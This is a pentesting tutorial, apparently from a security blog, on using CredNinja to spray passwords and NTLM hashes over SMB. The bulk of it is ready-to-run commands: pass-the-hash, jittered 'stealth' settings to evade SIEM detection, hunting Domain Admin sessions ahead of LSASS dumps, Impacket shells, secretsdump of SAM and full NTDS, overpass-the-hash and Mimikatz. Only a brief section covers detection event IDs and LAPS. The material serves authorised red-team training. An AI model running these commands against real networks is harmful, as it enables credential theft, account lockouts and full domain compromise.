CredNinja: Validate SMB Credentials with NTLM Passwords and Hashes

Use CredNinja to validate passwords and NTLM hashes via SMB, find local admin, perform Pass-the-Hash and user hunting, and reduce lockouts with stripe and delay.
- Posted on 2026-08-21
- Reading time: 6 min
CredNinja: Pentesting and Credential Validation on SMB Networks #
CredNinja is a multithreaded Python tool that bulk checks whether credentials (passwords or NTLM hashes) are valid on a list of Windows hosts, testing SMB authentication , and reporting where to get local admin. It evolved from CredSwissArmy, a work by Chris King (@raikiasec).
For comparison with the most used tool today for the same purpose: NetExec on HackIta
How it works internally #
Three steps, in order:
- SMB session setup + NTLM authentication — CredNinja opens an SMB session to the host and attempts to authenticate with the credential (password or hash).
- Authentication result —If the server refuses, the credential is invalid on that host. If it accepts, you're logged in with a valid token.
- Mount of
C$—at this point try to mount the administrative share. Successfully authenticate and mountC$These are two different things: you can be a valid domain user without being a local admin. Only a successful mount confirms elevated privileges.
This distinction — successful authentication ≠ administrative privileges — is the key concept to understand before using any bulk validation tool, not just CredNinja.
Installation #
git clone https://github.com/Raikia/CredNinja.git
cd CredNinja
python3 CredNinja.py -hRuns natively on Kali, requires pth-smbclient for pass-the-hash — already included in the Kali repositories.
Complete table of options #
| Flag | Description |
|---|---|
-a | file or single credential value to test |
-s | target host file or single value |
-t | number of parallel threads (default 10) |
--ntlm | treat password as NTLM hash → pass-the-hash |
--valid | show only valid results |
--invalid | show only invalid results |
-o | writes the results to a file |
-p | custom delimiter between user and password (default) :) |
--scan | check first that 445 is open |
--scan-timeout | control timeout 445 (default 2s) |
--stripe | each credential tested on a single random host |
--delay | random delay between retries (seconds + jitter) |
--timeout | response wait timeout (default 15s) |
--os | recovers the target OS without extra requests |
--domain | retrieves the target's primary domain |
--users | User Hunter Mode — Find where users are logged in |
--users-time | Filter users logged in in the last N days (default 100) |
--no-color | disable colored output |
Basic syntax #
python3 CredNinja.py -a accounts_to_test.txt -s systems_to_test.txtAccount file format, one line per credential:
CONTOSO\jrossi:Password123!
CONTOSO\amariani:Estate2024!Host file format — IP, hostname, CIDR or directly output from a nmap -oG:
nmap -p445 --open -oG smb_hosts.gnmap 10.10.10.0/24
python3 CredNinja.py -a accounts.txt -s smb_hosts.gnmapPhase 0 — Verify host before scanning #
--scan Check 445 before queuing the host — avoid wasting threads on powered-off or filtered machines.
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan --scan-timeout 3Phase 1 — Credential Validation #
Key output to read:
- credential rejected → invalid
- credential accepted, C$ mount failed → valid, unprivileged user
- Credential accepted, C$ mount successful → local admin
With clear password #
python3 CredNinja.py -a accounts.txt -s hosts.txtPass the Hash #
The LM hash aad3b435b51404eeaad3b435b51404ee it's always the same on modern systems, the one after the : It's the NTLM—that's what matters. Full discussion: Pass-the-Hash on HackIta
python3 CredNinja.py -a hashes.txt -s hosts.txt --ntlmHash file in the same format as the password file:
CONTOSO\svc_backup:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99Filter only useful results #
python3 CredNinja.py -a accounts.txt -s hosts.txt --valid
python3 CredNinja.py -a accounts.txt -s hosts.txt --invalidSave the output #
python3 CredNinja.py -a accounts.txt -s hosts.txt -o risultati.txtChange the user:password delimiter #
python3 CredNinja.py -a accounts.txt -s hosts.txt -p ";"Threads and timeouts #
python3 CredNinja.py -a accounts.txt -s hosts.txt -t 30
python3 CredNinja.py -a accounts.txt -s hosts.txt --timeout 10Phase 2 — Stealth: –stripe and –delay #
Testing 50 credentials against 200 hosts without filters generates tens of thousands of authentication events in minutes — a password spray pattern recognizable by any SIEM configured with decent thresholds (Event ID 4625 in bursts on the same set of accounts).
Stripe — one credential, one random host #
--stripe Test each credential on a single randomly selected host, rather than all of them. No system receives repeated attempts from the same account.
python3 CredNinja.py -a accounts.txt -s hosts.txt --stripeDelay — breaking the time pattern #
--delay SECONDS %JITTER inserts a delay between one attempt and the next, of duration equal to SECONDS with a random variation equal to %JITTER.
python3 CredNinja.py -a accounts.txt -s hosts.txt --stripe --delay 10 2010 seconds baseline ± 20% jitter (8-12 seconds) between attempts.
Full stealth combo #
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan --stripe --delay 15 25 -t 5 -o risultati.txtFewer threads, active striping, jittery delay, output saved for offline review — low profile for engagement where blue team detection is part of the test.
Phase 3 — Additional information without extra requests #
python3 CredNinja.py -a accounts.txt -s hosts.txt --os
python3 CredNinja.py -a accounts.txt -s hosts.txt --domain
python3 CredNinja.py -a accounts.txt -s hosts.txt --os --domainPhase 4 — User Hunter #
--users Finds where users are logged in on the network — useful for identifying where a Domain Admin has an active session before pointing an LSASS dump there.
python3 CredNinja.py -a accounts.txt -s hosts.txt --users
python3 CredNinja.py -a accounts.txt -s hosts.txt --users --users-time 30--users-time 30 Filter only users logged in in the last 30 days (default 100).
Limitations and prerequisites #
Things that can stop you before you even start:
- SMB Signing required on the target → authentication may still succeed, but some subsequent operations (relays) become impossible
- Account Lockout Policy → without
--stripe/--delayrisks of blocking real accounts on a large scale - LAPS → unique local admin password per host, a hash valid on one machine is not valid on the others
- Protected Users / Credential Guard → prevents NTLM cache in memory, reduces surface area for pass-the-hash
- NTLM disabled (Kerberos only) →
--ntlmIt doesn't work, you need to overpass-the-hash (see Step 5) - Windows Firewall with 445 block on entry → CredNinja doesn't even see the door,
--scanreport it immediately
Most common NTSTATUS during validation #
Full official reference: Microsoft NTSTATUS values
| Code | Meaning |
|---|---|
STATUS_LOGON_FAILURE | incorrect credential |
STATUS_ACCOUNT_LOCKED_OUT | account blocked for too many attempts |
STATUS_ACCESS_DENIED | authenticated but without permissions on the requested resource |
STATUS_ACCOUNT_DISABLED | existing but deactivated account |
STATUS_PASSWORD_EXPIRED | valid but expired password, it must be changed |
STATUS_LOGON_TYPE_NOT_GRANTED | user not authorized for that logon type (e.g. network logon denied via GPO) |
LOLBins before CredNinja #
Before installing an external tool, check what you already have natively:
# Windows nativo — test di una singola credenziale su una share
net use \\10.10.10.10\C$ /user:CONTOSO\jrossi Password123!# PowerShell — loop di validazione su più host senza binari esterni
$hosts = Get-Content hosts.txt
foreach ($h in $hosts) {
$cred = New-Object System.Management.Automation.PSCredential("CONTOSO\jrossi", (ConvertTo-SecureString "Password123!" -AsPlainText -Force))
if (Test-Path "\\$h\C$" -Credential $cred) { Write-Output "$h -> valido" }
}Useful when the environment has AppLocker or blocks unsigned binaries. CredNinja comes into play when the scale (hundreds of hosts) makes these loops too slow to manage manually.
CredNinja vs NetExec #
CredNinja has been out of service since 2018 (latest build v2.3, January 2018) and only works over SMB. Today, the standard for the same task is NetExec, which is actively maintained and multi-protocol (SMB, LDAP, WinRM, RDP, MSSQL).
Equivalent NetExec command:
netexec smb hosts.txt -u accounts.txt -p passwords.txt --continue-on-successCredNinja is still worth knowing: its easy-to-read source code is excellent for understanding how SMB validation works before relying on more complex tools. Complete guide: NetExec on HackIta
Step 5 — Exploit the Found Credential #
CredNinja tells you where your local admin is located. From there, the real offensive phase begins with Impacket.
Interactive shell (creates a service, noisier but full-access) #
psexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50Semi-interactive shell via WMI (more stealthy, no services created on disk) #
wmiexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50Shell via remote service without binary on disk #
smbexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50SAM/LSA dump on newly confirmed admin host #
secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50If the confirmed host is the DC, same command but with -just-dc For full NTDS dump:
secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.10 -just-dcOverpass-the-hash — from the NT hash to a Kerberos TGT #
Useful when NTLM is restricted or logged more aggressively than Kerberos :
getTGT.py -dc-ip 10.10.10.10 CONTOSO/svc_backup -hashes :5f4dcc3b5aa765d61d8327deb882cf99
export KRB5CCNAME=svc_backup.ccache
wmiexec.py -k -no-pass CONTOSO/svc_backup@dc01.contoso.localPass-the-hash from Windows with Mimikatz (if you're running from a compromised Windows host) #
Full article: Mimikatz on HackIta
sekurlsa::pth /user:svc_backup /domain:contoso.local /ntlm:5f4dcc3b5aa765d61d8327deb882cf99Opens a new process with the passed credential token — use it to launch psexec.exe o net use from there.
Quick Detection (Event ID to check if defending) #
4625 -> logon falliti, stesso account su più host in poco tempo
4624 tipo 3 -> network logon verso C$ da una sorgente su molti target
4740 -> lockout multipli ravvicinatiPractical countermeasure: LAPS to make reuse of local admin hashes between hosts useless.
Operational Workflow #
Nmap (scoperta 445)
↓
CredNinja (validazione credenziali)
↓
Host validi
↓
Admin locali confermati
↓
wmiexec.py / psexec.py
↓
secretsdump.py
↓
Pass-the-Hash / Overpass-the-Hash
↓
Lateral MovementMITRE ATT & CK #
Complete matrix: MITER ATT&CK Enterprise
| Tactics | Technology |
|---|---|
| CredentialAccess | T1110.003 — Password Spraying |
| CredentialAccess | T1550.002 — Pass the Hash |
| Discovery | T1135 — Network Share Discovery |
| lateral movement | T1021.002 — SMB/Windows Admin Shares |
| Defense Evasion | T1078 — Valid Accounts |
Operational checklist #
[ ] Scan preliminare 445 — --scan
[ ] Verifica password policy del dominio prima di validare su larga scala
[ ] Validazione credenziali — con o senza --ntlm
[ ] Se serve stealth → --stripe + --delay
[ ] Filtra risultati utili — --valid
[ ] Estrai OS/dominio extra — --os --domain
[ ] User hunter su host con sessioni admin — --users
[ ] Salva output per revisione — -o
[ ] Su ogni host confermato admin -> wmiexec.py / secretsdump.py
[ ] Se target è DC -> secretsdump.py -just-dc
[ ] Valuta NetExec se serve più di SMBFAQ #
Does CredNinja work with NTLM hashes?
Yes with --ntlm treats the supplied string as a hash and passes the hash automatically, without needing the cleartext password.
Is it still a viable tool in 2026? To understand the concepts, yes. For real-world operational use, NetExec is preferable, as it's actively maintained and has multi-protocol support.
Do I need to install any special dependencies?
On Kali Linux it runs out-of-the-box. For pass-the-hash it is needed pth-smbclient, included by default in the Kali repositories.
Can CredNinja block accounts for too many failed attempts?
Yes, like any mass validation tool. Without --stripe or delay, a domain with an aggressive lockout policy may lock out tested accounts.
CredNinja Guide — original repository: github.com/Raikia/CredNinja . For more on Active Directory: AD Guide on HackIta
#credninja #smb #pth








